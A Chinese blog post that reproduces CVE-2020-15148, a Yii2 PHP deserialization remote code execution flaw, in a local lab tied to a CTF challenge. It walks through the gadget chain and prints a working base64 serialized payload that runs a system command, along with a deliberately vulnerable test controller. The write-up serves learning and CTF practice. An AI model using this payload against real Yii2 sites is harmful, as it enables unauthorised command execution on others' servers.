CVE-2020-15148 PHP-Yii框架反序列化漏洞复现
CVE-2020-15148 PHP-Yii框架反序列化漏洞复现
在ctfshow web267 这题中很好的体现了此漏洞。
参考链接:CVE-2020-15148 Yii2反序列化RCE分析与复现 - FreeBuf网络安全行业门户
环境搭建
下载 : yii-basic-app-2.0.37.tgz
系统环境: kali 2021(子系统)
将下载的压缩包解压,进入目录将会看到如下文件:
- 进入 ./confog/web.php 将 cookieValidationKey 修改一下,内容随便都可以。不修改启动网页将报错。
- 输入 php yii serve 启动这个网页。本地8080端口并本地查看
如图所示成功访问页面,接下来 尝试 弱口令登陆: admin:admin
创建反序列化入口: ./controllers/TestController.php
1 |
|
分析
- 入口创建成功,现在来看看大佬的 exp:
1 |
|
- 在 1 处 可以看到 new yii\db\BatchQueryResult 对象,从而执行了 class BatchQueryResult中的 construct()函数( 2 )。
- 在 2 处 construct()函数中,new Generator 对象,从而执行了 class Generator中的 construct()函数( 3 )
- 在 3 处 construct()函数中,new CreateAction 对象,从而执行了 class CreateAction 中的construct()函数中的可控参数( 4 )
- 这个执行过程就是一个套娃环节。
- 现在大致了解了 exp 是如何运行的了。
- 所以现在来利用一下这个 exp 吧。深层次的我也解释不清而且这个复现网上很多,能用就行。
复现
- url 入口:
1 | http://localhost:8080/index.php?r=backdoor/shell&code=xxx // xxx 为 exp 生成的内容。 |
- 首先将可控参数设置为 phpinfo 并查看是否会显示处我本地的 php环境。
1 | …… |
- 如图所示成功显示了 phpinfo 信息。
- 再将可控参数改为我们想执行的语句。
1 | …… |
1 | http://localhost:8080/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjI6ImxzIjt9aToxO3M6MzoicnVuIjt9fX19 |
如图所示成功显示出当前目录下的内容。
至此,我们可以通过这个漏洞来达到我们的目的。
总结
- CVE-2020-15148
- 这个漏洞,可能会作为变种出现的 CTF web 题当中,ctshow web267 就是最好的例子。
- 革命尚未成功,我等还需努力。
- PHP 是世界上最好的语言。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ohh!